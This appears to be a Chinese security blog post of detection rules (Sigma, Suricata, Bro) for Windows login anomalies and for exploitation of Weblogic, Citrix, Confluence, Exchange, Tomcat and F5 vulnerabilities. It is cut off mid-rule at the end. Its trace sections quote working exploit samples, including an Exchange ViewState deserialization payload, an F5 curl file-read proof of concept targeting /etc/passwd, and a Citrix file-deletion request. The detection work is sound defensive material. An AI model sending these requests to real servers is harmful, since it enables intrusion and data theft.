聆听你的声音
如果你有独到的想法和建议,欢迎私信与我一同分享!
公众号:安全攻防渗透
0x01 windows-多账户同时登陆
描述
攻击者可能会获取并滥用本地帐户的凭据,以获取初始访问权限,持久性,权限提升或防御逃避。本地帐户是由组织配置的帐户,供用户,远程支持,服务使用或在单个系统或服务上进行管理。
通过OS凭据转储,本地帐户也可能被滥用以提升特权和收集凭据。为了特权升级和横向移动,密码重用可能允许滥用网络上的一组计算机上的本地帐户。
测试案例
多个用户同时或者在同一小时内登录到同一台计算机上,通常不会出现在我们观察到的网络中。
登录事件是适用于Windows Vista及更高版本的Windows,适用于Vista之后的版本,登陆事件ID为4624。适用于Vista之前的版本,登陆事件ID为528/540。Windows Vista及更高版本的注销事件ID为4634,Vista之前的注销事件ID为538。登录类型2,3,9和10是值得关注的。有关更多详细信息,请参阅Microsoft的“ 审核登录事件”页面上的“登录类型”表。
检测日志
windows 安全日志
测试复现
暂无
测试留痕
关注windows登陆事件,并留意登陆类型。适用于Vista之后的版本,登陆事件ID为4624;适用于Vista之前的版本,登陆事件ID为528/540;登录类型2,3,9和10是值得关注的。
检测规则/思路
es规则
思路:统计在一小时内,同一台主机上,登陆的用户是否大于一个
users_list = search UserSession:Login
users_grouped = group users_list by hostname
users_grouped = from users_grouped select min(time) as earliest_time, max(time) as latest_time count(user) as user_count
multiple_logins = filter users_grouped where (latest_time - earliest_time <= 1 hour and user_count > 1)
output multiple_logins
0x02 来自公网的登陆失败行为
描述
VPN、Citrix等远程服务以及其它访问机制允许用户从外部访问企业内部网络资源。通常有远程服务网关来管理这些服务连接和凭据认证。Windows远程管理等服务也可以在外部使用。
攻击者可能会通过远程服务来初始访问网络和/或在网络中停留。通常,用户须使用有效账号才能访问服务。攻击者可能会通过凭据欺骗或入侵企业网络从用户侧获取凭据的方式来获得有效账号权限。在操作期间,对远程服务的访问可用作冗余访问的一部分。
测试案例
windows账户登录失败。
检测日志
windows 安全日志
测试复现
场景较简单,请自行测试。
测试留痕
windows安全事件ID(win7/win2008+)
检测规则/思路
Sigma规则
title: 来自公网的登陆失败行为
description: 从公共IP登录可能表明防火墙或网络边界配置错误。
author: NVISO 12306Br0(翻译+测试)
date: 2020/05/06
tags:
- attack.initial_access
- attack.persistence
- attack.t1078
- attack.t1190
- attack.t1133
logsource:
product: windows
service: security
detection:
selection:
EventID: 4625 #登陆失败
unknown:
IpAddress|contains: '-'
privatev4:
IpAddress|startswith:
- '10.' #10.0.0.0/8
- '192.168.' #192.168.0.0/16
- '172.16.' #172.16.0.0/12
- '172.17.'
- '172.18.'
- '172.19.'
- '172.20.'
- '172.21.'
- '172.22.'
- '172.23.'
- '172.24.'
- '172.25.'
- '172.26.'
- '172.27.'
- '172.28.'
- '172.29.'
- '172.30.'
- '172.31.'
- '127.' #127.0.0.0/8
- '169.254.' #169.254.0.0/16
privatev6:
- IpAddress: '::1' #loopback
- IpAddress|startswith:
- 'fe80::' #link-local
- 'fc00::' #unique local
condition: selection and not (unknown or privatev4 or privatev6)
falsepositives:
- 互联网上的合法登录尝试
- IPv4到IPv6映射的IP
level: medium
建议
暂无
0x03 账户登录失败
描述
攻击者可能会使用凭据访问技术窃取特定用户或服务账号的凭据,或者在侦察过程的早期通过社会工程捕获凭据以获得首次访问权限。
攻击者可以使用三种账号:默认账号、本地账号和域账号。默认账号是操作系统的内置账号,例如Windows系统上的访客或管理员账号,或者其他类型系统、软件或设备上的默认工厂/提供商账号。本地账号是组织配置给用户、远程支持或服务的账号,或单个系统/服务的管理账号。域账号是AD-DS(活动目录域服务)管理的账号,其访问和权限在域内不同系统和服务之间配置。域账号可以涵盖用户、管理员和服务。
攻击者可能会获取并滥用本地帐户的凭据,以获取初始访问权限,持久性,权限提升或防御逃避。本地帐户是由组织配置的帐户,供用户,远程支持,服务使用或在单个系统或服务上进行管理。
通过OS凭据转储,本地帐户也可能被滥用以提升特权和收集凭据。为了特权升级和横向移动,密码重用可能允许滥用网络上的一组计算机上的本地帐户。
测试案例
windows账户登录失败。
检测日志
windows 安全日志
测试复现
场景较简单,请自行测试。
测试留痕
windows安全事件ID(win7/win2008+)
检测规则/思路
Sigma规则
title: 从单一源系统使用不同帐户登录失败
description: 从单个源系统检测使用不同用户帐户的可疑失败登录
author: 12306Br0(翻译)
date: 2020/06/09
tags:
- attack.persistence
- attack.privilege_escalation
- attack.t1078-003
logsource:
product: windows
service: security
detection:
selection1:
EventID:
- 529 #windows 2003
- 4625 #windows server 2008以上
UserName: '*' #用户名
WorkstationName: '*' #工作站名
selection2:
EventID: 4776 #适用于域账户登录
UserName: '*' #用户名
Workstation: '*' #工作站名
timeframe: 24h
condition:
- selection1 | count(UserName) by WorkstationName > 3
- selection2 | count(UserName) by Workstation > 3
falsepositives:
- 终端服务器
- 跳板服务器
- 其他多用户系统,例如Citrix服务器场
- 用户频繁变化的工作站
level: medium
建议
建议根据业务系统实际情况,调整阈值。
0x04 外部远程服务
描述
VPN,Citrix和其他访问机制等远程服务使用户可以从外部位置连接到内部企业网络资源。经常有远程服务网关管理这些服务的连接和凭据身份验证。Windows Remote Management等服务也可以在外部使用。 攻击者可以使用远程服务来获得初始访问权限,也可以用作在网内用作持久化。通常需要访问有效帐户才能使用该服务,可以通过凭据篡改或在进入企业网络之后从用户那里获取凭据来获得此权限。在操作过程中,可以将对远程服务的访问用作冗余访问的一部分。
测试案例
按照MITRE官方示例,像VPN、远程桌面、SSH等都可以属于T1133外部远程访问。
检测日志
SSH日志、VPN日志、远程桌面登录日志
测试复现
暂无
测试留痕
暂无
检测规则/思路
遵循最佳实践来检测攻击者对有效帐户的使用,以对远程服务进行身份验证。收集身份验证日志并分析异常访问模式,活动窗口以及正常工作时间之外的访问。
通过VPN进行远程访问攻击,网上有很多案例,不在一一描述。可利用用户账户登录地点、登录时间作为检测条件。远程桌面、SSH也可根据登录地点、登录时间作为检测条件。
0x05 CVE-2018-2894-Weblogic任意文件上传检测
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do、/ws_utc/config.do。
漏洞影响范围:
weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。
检测日志
HTTP.log
测试复现
漏洞利用建议参考:
Weblogic任意文件上传漏洞(CVE-2018-2894)复现
Weblogic任意文件上传漏洞(CVE-2018-2894)复现_浅浅爱默默的博客-CSDN博客
测试留痕
暂无实测,故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。
检测规则/思路
Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
title: Oracle WebLogic漏洞利用Z
description: 检测对放入WebLogic服务器上密钥库文件夹中的webshell的访问
author: Florian Roth
translator: 12306Bro
date: 2018/07/22
modified: 2020/03/14
status: experimental
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2894
- https://blog.csdn.net/weixin_43625577/article/details/97001677
logsource:
category: webserver
detection:
selection:
c-uri:
- '*/config/keystore/*.js*'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
建议
暂无
0x06 CVE-2019-19781远程代码执行
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
Citrix旗下多款交付控制器和网关存在RCE漏洞,攻击者在无需身份验证的情况下就可执行任意命令。根据其他安全网站的说法,这个RCE漏洞会有一个标记漏洞(其中之一的标记),即本次报道的Citrx路径遍历漏洞(CVE-2019-19781)。Citrx路径遍历漏洞(CVE-2019-19781)利用方式的PoC已被公开。该漏洞利用复杂性低,且无权限要求,攻击者只能遍历vpns文件夹,但攻击者可能利用Citrx路径遍历漏洞进行RCE漏洞试探,从而发起进一步精准攻击。
漏洞影响范围:
Citrix NetScaler ADC and NetScaler Gateway version 10.5
Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1
Citrix ADC and Citrix Gateway version 13.0
检测日志
HTTP.log
测试复现
漏洞利用过程:
1.pl文件未对NSC_USER参数传入进行过滤
2.触发目录穿越
3.在模板目录的XML文件写入命令
4.模板引擎分析后执行命令
漏洞利用建议参考:
CVE-2019-19781 远程代码执行漏洞复现
https://www.cnblogs.com/panisme/p/12542721.html
Citrix路径遍历(CVE-2019-19781)
Citrix路径遍历(CVE-2019-19781) - 简书
测试留痕
暂无实测,故无留痕
检测规则/思路
Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
title: 检测Citrix CVE-2019-19781漏洞利用行为
references:
- https://www.jianshu.com/p/03b175711524
- https://www.jianshu.com/p/03b175711524
status: experimental
logsource:
category: webserver
detection:
selection:
c-uri:
- '*/../vpns/*' #根据此次公开的PoC显示,该洞目录遍历被限制子在vpns文件夹下,任意用户可通过HTTP请求直接访问该目录下的文件。
- '*/vpns/cfg/smb.conf' #根据此次公开的PoC显示,该洞目录遍历被限制子在vpns文件夹下,任意用户可通过HTTP请求直接访问该目录下的文件。
- '*/vpns/portal/scripts/*.pl*' #利用目录穿越写入命令语句到newbm.pl文件中
condition: selection
fields:
- client_ip
- vhost
- url
- response
falsepositives:
- Unknown
level: critical
建议
暂无
0x07 CVE-2019-3398 Confluence路径穿越漏洞
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
Confluence Server和Data Center在downloadallattachments资源中存在路径穿越漏洞。 在Page或Blogs具有添加附件权限的用户,或具有创建新空间或个人空间权限的用户,或对某空间具有“管理员”权限的用户可利用此路径穿越漏洞将文件写入任意位置。一定条件下可以执行任意代码。
漏洞影响范围:
2.0.0 <= version < 6.6.13
6.7.0 <= version < 6.12.4
6.13.0 <= version < 6.13.4
6.14.0 <= version < 6.14.3
6.15.0 <= version < 6.15.2
检测日志
HTTP.log
测试复现
漏洞利用建议参考:
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_daxi0ng的博客-CSDN博客
测试留痕
暂无实测,故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。
POST请求数据包
检测规则/思路
Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
title: Confluence_CVE-2019-3398漏洞利用行为检测
status: experimental
description: 检测CVE-2019-3398中描述的路径穿越漏洞的利用行为
references:
- https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181
- https://blog.csdn.net/qq_40989258/article/details/105274370
author: Florian Roth
translator: 12306Bro
date: 2020/05/26
tags:
- attack.initial_access
- attack.t1190
logsource:
category: webserver
detection:
selection:
cs-method: 'POST'
c-uri|contains|all:
- '/upload.action'
- 'filename=../../../../'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
建议
暂无
0x08 CVE-2020-0688漏洞利用检测
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
CVE-2020-0688漏洞
Microsoft Exchange Server是微软公司一套支持多种电子邮件网络协议的电子邮件服务组件,除传统的电子邮件的存取、储存、转发作用外,在新版本的产品中亦加入了一系列辅助功能,如语音邮件、邮件过滤筛选和OWA(基于Web的电子邮件存取)。
漏洞起于Microsoft Exchange服务器在安装时并没有正确创建唯一密钥,经过身份验证的攻击者可以欺骗目标服务器反序列化恶意创建的ViewState数据,使攻击者可以在Exchange Control Panel web应用上执行任意.net代码。
测试案例
具体复测可以参考
-
CVE-2020-0688:Exchange Server使用固定加密密钥远程代码执行漏洞修复通告:CVE-2020-0688:Exchange Server使用固定加密密钥远程代码执行漏洞修复通告-安全客 - 安全资讯平台
-
CVE-2020-0688_微软EXCHANGE服务的远程代码执行漏洞复现:https://www.cnblogs.com/pt007/p/12394722.html
检测日志
HTTP流量、Windows sysmon日志、IIS日志、exchange日志
测试复现
可参考上述测试案例
测试留痕
HTTP流量检测规则基于payload关键词进行检测
Windows sysmon日志检测规则基于payload关键词检测
IIS日志检测规则,留痕如下:
2020-03-09 17:16:50 ::1 POST /owa/auth.owa &CorrelationID=<empty>;&cafeReqId=9cff6edd-19a9-43c0-bdd2-a94adef6dd0c; 443 HealthMailbox062c8b451f3a4e21aa98fd88e45f499e@mail163.com ::1 Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+MSEXCHMON;+ACTIVEMONITORING;+OWACTP) - 302 0 0 0
2020-03-09 17:16:58 172.*.*.27 GET /ecp/default.aspx __VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4LJ%2F5i3bVSrOTrkun3pNej4tluDK0%3D&CorrelationID=<empty>;&cafeReqId=e0874638-b142-4c77-84c1-c0434137e691; 443 limou 10.0.254.139 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:73.0)+Gecko/20100101+Firefox/73.0 - 500 0 0 1502
检测规则/思路
sigma规则
title: CVE-2020-0688 Exchange Exploitation via Web Log
id: fce2c2e2-0fb5-41ab-a14c-5391e1fd70a5
status: experimental
description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688
references:
- https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/
author: Florian Roth
date: 2020/02/29
logsource:
category: webserver
detection:
selection1:
cs-method: 'GET'
c-uri|contains:
- '/ecp/'
- '/owa/'
selection2:
c-uri|contains: '__VIEWSTATE='
condition: selection1 and selection2
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
tags:
- attack.initial_access
- attack.t1190
level: critical
title: CVE-2020-0688 Exploitation via Eventlog
id: d6266bf5-935e-4661-b477-78772735a7cb
status: experimental
description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688
references:
- https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/
author: Florian Roth
date: 2020/02/29
tags:
- attack.initial_access
- attack.t1190
logsource:
product: windows
service: application
detection:
selection1:
EventID: 4
Source: MSExchange Control Panel
Level: Error
selection2:
- '*&__VIEWSTATE=*'
condition: selection1 and selection2
falsepositives:
- Unknown
level: high
title: CVE-2020-0688 Exploitation IIS Eventlog
id: d6266bf5-935e-4661-b477-78772735a7cb
status: experimental
description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688
references:
- https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/
author: Florian Roth
date: 2020/02/29
tags:
- attack.initial_access
- attack.t1190
logsource:
product: windows
service: IIS
detection:
selection1:
cs-method: 'POST'
c-uri|contains: '/owa/auth.owa'
selection2:
cs-method: 'GET'
c-uri|contains: '__VIEWSTATEGENERATOR=* __VIEWSTATE='
timeframe: 3s #可根据实际情况调整
condition: selection1 and selection2
falsepositives:
- Unknown
level: high
建议
暂无
0x09 CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
0x1 影响版本
Oracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
0x2 漏洞详情
可参考:
https://www.cnblogs.com/2rsh0u/p/13911794.html # Weblogic未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)复现
https://www.cnblogs.com/potatsoSec/p/13895120.html # CVE-2020-14882 weblogic 未授权命令执行复现
检测日志
HTTP.log
测试复现
可参考漏洞详情部分
检测规则/思路
sigma规则
title: Oracle WebLogic Exploit CVE-2020-14882
status: 测试状态
description: 检测WebLogic服务器上的攻击企图
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14882
- https://www.cnblogs.com/2rsh0u/p/13911794.html
- https://www.cnblogs.com/potatsoSec/p/13895120.html
logsource:
category: webserver
detection:
selection:
c-uri|contains:
- '/console/images/%252E%252E%252Fconsole.portal'
- '/console/css/%2e'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: high
tags:
- attack.t1190
- attack.initial_access
- cve.2020-14882
建议
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
0x0A CVE-2020-1938漏洞利用检测
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
CVE-2020-1938漏洞
2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。
测试案例
具体复测可以参考
-
Apache Tomcat文件包含漏洞 (CVE-2020-1938) 分析:Apache Tomcat文件包含漏洞 (CVE-2020-1938) 分析 - 安全内参 | 决策者的网络安全知识库
检测日志
HTTP流量
测试复现
可参考上述测试案例
测试留痕
HTTP流量检测规则基于payload关键词进行检测
检测规则/思路
Suricata检测规则
# CNVD-2020-10487 CVE-2020-1938
alert tcp any any -> any 8009 (msg:"CNVD-2020-10487 Ghostcat"; content:"javax|2e|servlet|2e|include|2e|request_uri"; content:"javax|2e|servlet|2e|include|2e|path_info"; content:"javax|2e|servlet|2e|include|2e|servlet_path"; reference:url,www.anquanke.com/post/id/199351; classtype:tomcat; sid:202002211; rev:1;)
Bro检测规则
module EXPLOIT;
event tcp_packet(c: connection, is_orig: bool, flags: string, seq: count, ack: count, len: count, payload: string)
{
if ( (c$id$resp_p == 8009/tcp) && /javax\.servlet\.include\.request_uri/ in payload && /javax\.servlet\.include\.path_info/ in payload && /javax\.servlet\.include\.servlet_path/ in payload)
{
local rec: EXPLOIT::Info = [$ts=c$start_time,
$src_ip=c$id$orig_h,
$src_port=c$id$orig_p,
$dst_ip=c$id$resp_h,
$dst_port=c$id$resp_p,
$vul_payload=payload,
$vul_describe="CVE-2020-1938 Ghostcat",
$vul_refer="https://www.anquanke.com/post/id/199351",
$vul_level="high"];
Log::write(EXPLOIT::LOG, rec);
}
检测规则转载自:GitHub - h7hac9/CVE-2020-1938
建议
暂无
0x0B CVE-2020-5902-F5_BIG-IP-远程代码执行
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。
未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。
漏洞影响范围:
11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x
检测日志
HTTP.log
测试复现
漏洞利用建议参考:
F5 BIG-IP 远程代码执行漏洞(CVE-2020-5902) 漏洞利用
https://blog.csdn.net/wuyou1995/article/details/107170186/
cve-2020-5902 RCE的payload以及绕过方式
https://www.cnblogs.com/potatsoSec/p/13263806.html
测试留痕
暂无实测,故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。
文件读取POC
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
通过java反序列化绕过waf的payload
String dburl = "jdbc:hsqldb:https://" + server +
":443/tmui/login.jsp/..%3b/hsqldb/"; #截取部分内容
检测规则/思路
sigma规则
title: CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞
status: experimental
references:
- https://blog.csdn.net/wuyou1995/article/details/107170186/
- https://www.cnblogs.com/potatsoSec/p/13263806.html
author: Florian Roth
translator: 12306Bro
date: 2020/07/05
logsource:
category: webserver
detection:
selection_base:
c-uri|contains:
- '/tmui/'
- '/hsqldb'
selection_traversal:
c-uri|contains:
- '..;/'
- '.jsp/..'
condition: selection_base and selection_traversal
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
tags:
- attack.initial_access
- attack.t1190
level: critical
建议
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
0x0C CVE-2020-8193/CVE-2020-8195
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
Citrix Systems Citrix Application Delivery Controller(ADC)等都是美国思杰系统(Citrix Systems)公司的产品。Citrix Application Delivery Controller是一款应用交付控制器。Citrix Systems Gateway(Citrix Systems NetScaler Gateway)是一套安全的远程接入解决方案。Citrix System SDWAN WAN-OP是一款SD-WAN(虚拟软件定义的广域网)设备。Citrix Systems Citrix ADC、Citrix Gateway和Citrix SDWAN WAN-OP中存在安全漏洞。攻击者可利用该漏洞绕过权限限制。
检测日志
HTTP.log
测试复现
漏洞利用方式建议参考:
Citrix Systems产品安全漏洞 CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 poc
https://www.cnblogs.com/potatsoSec/p/13281577.html
Citrix安全研究历险记
Adventures in Citrix security research - Unauthorized Access Blog
测试留痕
暂无实测,截取部分公开资料内容作为留痕数据。
删除文件
POST /rapi/filedownload?filter=remove:1,path:%2ftmp%2ftest HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
rand_key: 2061490565.1580290269373855
DNT: 1
X-NITRO-USER: henk
X-NITRO-PASS: henk
Connection: close
Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; rdx_pagination_size=25%20Per%20Page; SESSID=05afba59ef8e0e35933f3bc266941337
Content-Type: application/xml
Content-Length: 31
<clipermission></clipermission>
以上内容截取自https://www.cnblogs.com/potatsoSec/p/13281577.html
获取默认所有签名
POST /pcidss/report?type=all_signatures&sid=254&username=nsroot&profile_name=default&set=0&sig_name=_default_signature_&sig_start_no=1 HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/pcidss/launch_report?type=main
Content-Type: application/xml
Content-Length: 0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
以上内容截取自Adventures in Citrix security research - Unauthorized Access Blog
检测规则/思路
sigma规则
title: 检测可疑的CVE-2020-8193/CVE-2020-8195
references:
- https://www.cnblogs.com/potatsoSec/p/13281577.html
